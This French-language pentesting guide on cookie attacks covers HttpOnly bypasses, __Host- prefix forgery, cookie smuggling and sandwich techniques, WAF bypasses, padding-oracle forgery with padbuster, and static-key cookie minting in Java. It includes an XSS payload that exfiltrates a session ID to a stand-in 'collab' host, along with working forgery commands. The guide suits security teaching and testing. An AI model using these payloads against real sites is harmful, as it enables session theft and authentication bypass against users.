Cookies Hacking

Reading time: 22 minutes

Attributs des cookies

Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs, formulé de manière plus passive :

Expires and Max-Age

La date d'expiration d'un cookie est déterminée par l'attribut Expires. À l'inverse, l'attribut Max-age définit le temps en secondes avant qu'un cookie ne soit supprimé. Privilégier Max-age car il reflète des pratiques plus modernes.

Domain

Les hôtes destinataires d'un cookie sont spécifiés par l'attribut Domain. Par défaut, ceci est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsqu'on définit explicitement l'attribut Domain, il englobe aussi les sous-domaines. Cela rend la spécification de l'attribut Domain moins restrictive, utile lorsque le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir Domain=mozilla.org rend les cookies accessibles sur ses sous-domaines comme developer.mozilla.org.

Path

Un chemin d'URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête Cookie soit envoyé est indiqué par l'attribut Path. Cet attribut considère le caractère / comme séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.

Règles d'ordre

Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est déterminé par :

• Le cookie correspondant au chemin le plus long dans l'URL demandée.
• Le cookie le plus récemment défini si les chemins sont identiques.

SameSite

• L'attribut SameSite dicte si les cookies sont envoyés sur des requêtes provenant de domaines tiers. Il propose trois réglages :
• Strict : Empêche l'envoi du cookie sur des requêtes tierces.
• Lax : Autorise l'envoi du cookie avec des requêtes GET initiées par des sites tiers.
• None : Permet l'envoi du cookie depuis n'importe quel domaine tiers.

Rappelez-vous que, lors de la configuration des cookies, la compréhension de ces attributs aide à garantir qu'ils se comportent comme prévu dans différents scénarios.

Table from Invicti and slightly modified.
Un cookie avec l'attribut SameSite permettra de mitiger les attaques CSRF nécessitant une session authentifiée.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Remarquez que temporairement, après l'application de ce changement, les cookies without a SameSite policy dans Chrome seront treated as None pendant les 2 premières minutes, puis treated as Lax pour les requêtes POST cross-site de niveau top-level.

Drapeaux des cookies

HttpOnly

Cela empêche le client d'accéder au cookie (via Javascript par exemple : document.cookie)

Contournements

• Si la page renvoie les cookies dans la réponse d'une requête (par exemple dans une page PHPinfo), il est possible d'abuser d'un XSS pour envoyer une requête vers cette page et voler les cookies depuis la réponse (voir un exemple sur https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Cela peut être contourné avec des requêtes TRACE HTTP car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique s'appelle Cross-Site Tracking.
• Cette technique est évitée par les navigateurs modernes en n'autorisant pas l'envoi d'une requête TRACE depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques, comme l'envoi de \r\nTRACE au lieu de TRACE sur IE6.0 SP2.
• Une autre voie est l'exploitation de vulnérabilités zero/day des navigateurs.
• Il est possible de écraser des cookies HttpOnly en réalisant une attaque de Cookie Jar overflow :

Cookie Jar Overflow

• Il est possible d'utiliser une attaque de Cookie Smuggling pour exfiltrer ces cookies.
• Si un endpoint côté serveur renvoie l'ID de session brut dans la réponse HTTP (par ex., à l'intérieur de commentaires HTML ou d'un bloc de debug), il est possible de contourner HttpOnly en utilisant un gadget XSS pour fetcher cet endpoint, extraire le secret via regex, et l'exfiltrer. Exemple de pattern de payload XSS :

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La requête n'enverra le cookie dans une requête HTTP que si celle-ci est transmise via un canal sécurisé (généralement HTTPS).

Préfixes de cookies

Les cookies préfixés par __Secure- doivent être définis avec le drapeau secure depuis des pages sécurisées par HTTPS.

Pour les cookies préfixés par __Host-, plusieurs conditions doivent être remplies :

• Ils doivent être définis avec le drapeau secure.
• Ils doivent provenir d'une page sécurisée par HTTPS.
• Il leur est interdit de spécifier un domaine, empêchant ainsi leur transmission vers des sous-domaines.
• Le chemin pour ces cookies doit être défini sur /.

Il est important de noter que les cookies préfixés par __Host- ne peuvent pas être envoyés vers des superdomaines ou des sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, utiliser le préfixe __Host- pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolation.

Écrasement des cookies

Ainsi, une des protections des cookies préfixés par __Host- est d'empêcher qu'ils soient écrasés depuis des sous-domaines. Cela prévient, par exemple, les Cookie Tossing attacks. Dans la conférence Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) il est montré qu'il était possible de définir des cookies préfixés par __HOST- depuis un sous-domaine en trompant le parseur, par exemple en ajoutant "=" au début ou au début et à la fin...:

Ou en PHP il était possible d'ajouter d'autres caractères au début du nom du cookie qui allaient être remplacés par des underscores, permettant d'écraser les cookies __HOST- :

Unicode whitespace cookie-name smuggling (prefix forgery)

Exploiter les divergences entre l'analyse du navigateur et du serveur en préfixant le nom du cookie par un point de code d'espace blanc Unicode. Le navigateur ne considérera pas que le nom commence littéralement par __Host-/__Secure-, ce qui permet de le définir depuis un sous-domaine. Si le backend tronque/normalise les espaces blancs Unicode en tête des clés de cookie, il verra le nom protégé et pourra écraser le cookie à privilèges élevés.

• PoC depuis un sous-domaine pouvant définir des cookies du domaine parent :

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Comportement typique côté backend qui permet ce problème :

• Frameworks qui tronquent/normalisent les clés des cookies. Dans Django, Python’s str.strip() supprime un large éventail de points de code d'espacement Unicode, ce qui normalise le nom en __Host-name.

• Les points de code couramment supprimés incluent : U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• De nombreux frameworks résolvent les noms de cookies en doublon par “last wins”, donc la valeur du cookie normalisée contrôlée par l'attaquant écrase celle légitime.

• Les différences entre navigateurs comptent :

• Safari bloque les espaces Unicode multioctets dans les noms de cookie (par ex., refuse U+2000) mais permet encore les octets simples U+0085 et U+00A0, que bon nombre de backends suppriment. Testez sur plusieurs navigateurs.

• Impact : Permet d'écraser les cookies __Host-/__Secure- depuis des contextes moins fiables (sous-domaines), ce qui peut mener à XSS (si reflété), à l'écrasement de tokens CSRF, et à une fixation de session.

• Exemple on-the-wire vs vue serveur (U+2000 présent dans le nom) :

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

De nombreux backends découpent/analysent puis retirent les espaces, ce qui fait que le __Host-name normalisé prend la valeur fournie par l'attaquant.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Certaines stacks Java (p.ex., Tomcat/Jetty-style) activent encore le parsing legacy RFC 2109/2965 lorsque l'en-tête Cookie commence par $Version=1. Cela peut amener le serveur à réinterpréter une unique chaîne de cookie comme plusieurs cookies logiques et accepter une entrée __Host- falsifiée qui avait été initialement définie depuis un sous-domaine ou même depuis une origine non sécurisée.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Pourquoi ça fonctionne :

• Les vérifications de préfixe côté client s'appliquent lors de l'enregistrement, mais le parsing legacy côté serveur scinde et normalise ensuite l'en-tête, contournant l'intention des garanties de préfixe __Host-/__Secure-.

• Où essayer : Tomcat, Jetty, Undertow, ou des frameworks qui honorent encore les attributs RFC 2109/2965. Combiner avec la sémantique d'écrasement par nom dupliqué.

Primitive d'écrasement last-wins pour nom dupliqué

Quand deux cookies se normalisent au même nom, beaucoup de backends (y compris Django) utilisent la dernière occurrence. Après que le smuggling/legacy-splitting ait produit deux noms __Host-*, celui contrôlé par l'attaquant gagnera généralement.

Détection et outils

Utilisez Burp Suite pour tester ces conditions :

• Essayez plusieurs points de code d'espaces Unicode en tête : U+2000, U+0085, U+00A0 et observez si le backend tronque et traite le nom comme préfixé.
• Envoyez $Version=1 en premier dans l'en-tête Cookie et vérifiez si le backend effectue le legacy splitting/normalization.
• Observez si c'est le premier ou le dernier qui l'emporte en injectant deux cookies qui se normalisent au même nom.
• Action personnalisée Burp pour automatiser ceci : CookiePrefixBypass.bambda

Astuce : Ces techniques exploitent l'écart octet-vs-string de RFC 6265 : les navigateurs envoient des octets ; les serveurs décodent et peuvent normaliser/tronquer. Les discordances dans le décodage et la normalisation sont au cœur du contournement.

Attaques sur les cookies

Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtout si vous participez à un CTF), car il pourrait être vulnérable.

Décodage et manipulation des cookies

Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet à un attaquant d'altérer le contenu du cookie et d'usurper d'autres utilisateurs en ré-encodant leurs données modifiées dans le cookie.

Détournement de session

Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'identité de l'utilisateur légitime.

Fixation de session

Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Donation de session

Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant être connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans JWT.

Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur hacking JWT.

Cross-Site Request Forgery (CSRF)

Cette attaque force un utilisateur connecté à exécuter des actions indésirables sur une application web dans laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.

Cookies vides

(Voir plus de détails dans la original research) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Le résultat dans l'en-tête Cookie envoyé est a=v1; test value; b=v2;. Fait intéressant, cela permet la manipulation des cookies si un cookie au nom vide est défini, permettant potentiellement de contrôler d'autres cookies en définissant le cookie vide sur une valeur spécifique :

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Cela conduit le navigateur à envoyer un en-tête Cookie interprété par chaque serveur web comme un cookie nommé a avec une valeur b.

Bug Chrome : problème de point de code surrogate Unicode

Dans Chrome, si un Unicode surrogate codepoint fait partie d'un set cookie, document.cookie devient corrompu et renvoie ensuite une chaîne vide :

document.cookie = "\ud800=meep"

Cela entraîne que document.cookie renvoie une chaîne vide, indiquant une corruption permanente.

Cookie Smuggling en raison de problèmes d'analyse

(Consultez plus de détails dans laoriginal research) Plusieurs serveurs web, y compris ceux pour Java (Jetty, TomCat, Undertow) et Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gèrent mal les cookie strings en raison d'un support obsolète de RFC2965. Ils lisent une valeur de cookie entre guillemets doubles comme une seule valeur même si elle contient des point-virgules, qui devraient normalement séparer des paires clé-valeur :

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) L'analyse incorrecte des cookies par certains serveurs, notamment Undertow, Zope, et ceux utilisant Python's http.cookie.SimpleCookie et http.cookie.BaseCookie, crée des opportunités d'attaques d'injection de cookie. Ces serveurs ne délimitent pas correctement le début des nouveaux cookies, permettant aux attaquants de falsifier des cookies :

• Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
• Zope cherche une virgule pour commencer à parser le cookie suivant.
• Les classes cookie de Python commencent à parser sur un caractère espace.

Cette vulnérabilité est particulièrement dangereuse dans les applications web qui reposent sur une protection CSRF basée sur les cookies, car elle permet aux attaquants d'injecter des cookies de type CSRF-token falsifiés, contournant potentiellement les mesures de sécurité. Le problème est aggravé par la gestion par Python des noms de cookie en double, où la dernière occurrence écrase les précédentes. Cela soulève aussi des inquiétudes pour les cookies __Secure- et __Host- dans des contextes non sécurisés et peut conduire à des contournements d'autorisation lorsque des cookies sont transmis à des serveurs back-end susceptibles d'être spoofés.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

Cookie Sandwich Attack

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

• Trouver un endroit où un cookie apparemment inutile est reflété dans la réponse
• Create a cookie called $Version with value 1 (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step)
• Create the cookie that is reflected with a value that leaves an open double quotes and with a specific path so it’s positioned in the cookie db after the previous one ($Version)
• Then, the legit cookie will go next in the order
• Create a dummy cookie that closes the double quotse inside its value

De cette façon, le cookie victime se retrouve piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est reflété. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Voir la section précédente.

Bypassing value analysis with quoted-string encoding

Cette analyse indique de déséchapper les valeurs échappées à l'intérieur des cookies, donc "\a" devient "a". Cela peut être utile pour contourner les WAFs comme :

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Dans le RFC2109, il est indiqué qu'une virgule peut être utilisée comme séparateur entre les valeurs de cookie. Il est aussi possible d'ajouter espaces et tabulations avant et après le signe égal. Par conséquent un cookie comme $Version=1; foo=bar, abc = qux ne génère pas le cookie "foo":"bar, admin = qux" mais les cookies "foo":"bar" et "admin":"qux". Remarquez comment deux cookies sont générés et comment l'espace avant et après le signe égal pour admin a été retiré.

Bypassing value analysis with cookie splitting

Enfin, différents backdoors joindraient dans une string différents cookies passés dans différents cookie headers comme dans :

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ce qui pourrait permettre de bypass un WAF comme dans cet exemple :

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Vérifications supplémentaires pour cookies vulnérables

Vérifications de base

• Le cookie est le même à chaque login.
• Se déconnecter et essayer d'utiliser le même cookie.
• Essayez de vous connecter avec 2 appareils (ou navigateurs) au même compte en utilisant le même cookie.
• Vérifiez si le cookie contient des informations et essayez de les modifier.
• Essayez de créer plusieurs accounts avec des username presque identiques et vérifiez si vous pouvez voir des similarités.
• Vérifiez l'option "remember me" si elle existe pour voir comment elle fonctionne. Si elle existe et peut être vulnérable, utilisez toujours le cookie de remember me sans aucun autre cookie.
• Vérifiez si le cookie précédent fonctionne même après avoir changé le password.

Attaques avancées sur les cookies

Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre account (probablement le username). Vous pouvez alors :

• Essayez de créer beaucoup de accounts avec des username très similaires et tentez de deviner comment l'algorithme fonctionne.
• Essayez de bruteforce the username. Si le cookie sert uniquement comme méthode d'authentification pour votre username, alors vous pouvez créer un account avec le username "Bmin" et bruteforce chaque bit de votre cookie car l'un des cookies que vous testerez sera celui appartenant à "admin".
• Essayez Padding Oracle (vous pouvez décrypter le contenu du cookie). Utilisez padbuster.

Padding Oracle - exemples avec Padbuster

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster effectuera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).

Ensuite, il commencera decrypting the cookie (cela peut prendre plusieurs minutes)

Si l'attaque a été menée avec succès, vous pourrez essayer de encrypt une chaîne de votre choix. Par exemple, si vous souhaitez encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Cette exécution vous donnera le cookie correctement chiffré et encodé contenant la chaîne user=administrator à l'intérieur.

CBC-MAC

Il se peut qu'un cookie ait une valeur et soit signé en utilisant CBC. Alors, l'intégrité de la valeur est la signature créée en utilisant CBC avec la même valeur. Comme il est recommandé d'utiliser comme IV un vecteur nul, ce type de vérification d'intégrité pourrait être vulnérable.

L'attaque

1. Obtenir la signature du username administ = t
2. Obtenir la signature du username rator\x00\x00\x00 XOR t = t'
3. Placer dans le cookie la valeur administrator+t' (t' sera une signature valide de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

Si le cookie est chiffré en utilisant ECB il pourrait être vulnérable.
Lors de la connexion le cookie que vous recevez doit toujours être le même.

Comment détecter et attaquer :

Créez 2 users avec presque les mêmes données (username, password, email, etc.) et essayez de découvrir un motif dans le cookie fourni

Créez un user appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le username est chiffré).

Il devrait y avoir un motif (de la taille d'un bloc utilisé). Donc, en sachant comment un paquet de "a" est chiffré vous pouvez créer un username : "a"*(size of the block)+"admin". Ensuite, vous pouvez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du username "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Certaines applications créent des cookies d'authentification en ne chiffrant qu'une valeur prédictible (par ex., l'ID utilisateur numérique) sous une clé symétrique globale et hard-coded, puis encodent le ciphertext (hex/base64). Si la clé est statique par produit (ou par installation), n'importe qui peut forger des cookies pour des users arbitraires hors ligne et contourner l'authentification.

How to test/forge

• Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
• Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
• Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
• Set the forged value directly as the cookie and browse; no credentials are needed.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Références

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda